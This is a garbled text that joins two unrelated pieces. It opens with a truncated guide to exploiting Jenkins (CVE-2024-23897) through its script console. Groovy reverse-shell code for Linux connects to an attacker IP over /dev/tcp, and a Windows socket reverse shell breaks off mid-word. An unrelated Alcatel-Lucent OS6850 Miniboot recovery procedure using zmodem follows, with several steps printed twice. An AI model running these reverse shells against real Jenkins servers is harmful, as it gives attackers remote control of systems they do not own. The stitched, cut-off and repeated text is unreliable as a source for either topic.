Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Problem: Switch not booting AOS; Going to Mini-boot prompt.
Model: Alcatel-Lucent OS6850
[Note:The same procedure might be applicable for different models of
Omni-Switches, However, for this illustration, i have used OS-6850 ]
Reason: This problem may occurs due to corrupt AOS image files or misconfigured boot parameters. Hence switch cannot boot the images properly and will go to Mini-boot prompt.
Work Around:
[Note: This zmodem procedure consumes a lot to time to finish the process.]
1.) Power off your OS6850
2.) When you switched it back on, stop it before the Miniboot (there is some counter counting down from 4). Press Enter to break.
3.) You will have the following prompt "=>"
4.) Enter "setenv baudrate 115200”. Increasing baudrate helps to increase the data transfer speed using zmodem.
5.) Enter "saveenv"
6.) Enter "boot"
7.) The switch should run now in baud rate 115200 (so you have to change your clients terminal connection as well)
8.) If the speed in Miniboot is still 9600 you have to delete the "boot.params" file and reboot the switch again (the next time when the boot.params file gets created it has 115200 as baud rate in their automatically)
9.) Assuming that your connection speed is at 115200 now and you are at the "[Miniboot]->" prompt
10.) Change into the working directory with command
[Miniboot]->cd "working"
11.) Enter the following command to start your zModem session
[Miniboot]->sysStartZmodem
12.) Select all image files you want to upload. [In my case, the switch was unable to boot because it cannot extract kernel file from K2os.img file. This differs in various scenarios.
12) Use TeraTerm software for transferring files using zmodem.
13) Always upload one image file at the time as you can track better if the transfer failed
Enter [Miniboot]->sysStartZmodem and then the switch will start listening to the file. Then transfer it using Zmodem.
14.) Upload all the .img files to the working directory.
15.) All *.img files need to be in the working directory by now
16.) Before you reboot you have to tell the switch to run from the working directory (as it would try to load from certified as the directories are different - but in certified are no image files therefore it would fail)
[Miniboot]-> setNextRunningVersion 2
17.) Enter "reboot" to reboot your switch - it should come up with your new AOS now.
Do a "copy working certified" from the CLI now to ensure that you have the images in both directories.
Enter [Miniboot]->sysStartZmodem and then the switch will start listening to the file. Then transfer it using Zmodem.
14.) Upload all the .img files to the working directory.
15.) All *.img files need to be in the working directory by now
16.) Before you reboot you have to tell the switch to run from the working directory (as it would try to load from certified as the directories are different - but in certified are no image files therefore it would fail)
[Miniboot]-> setNextRunningVersion 2
17.) Enter "reboot" to reboot your switch - it should come up with your new AOS now.
Do a "copy working certified" from the CLI now to ensure that you have the images in both directories.
Want to Upgrade your Alcatel-Lucent Switch Firmware? Read the post here.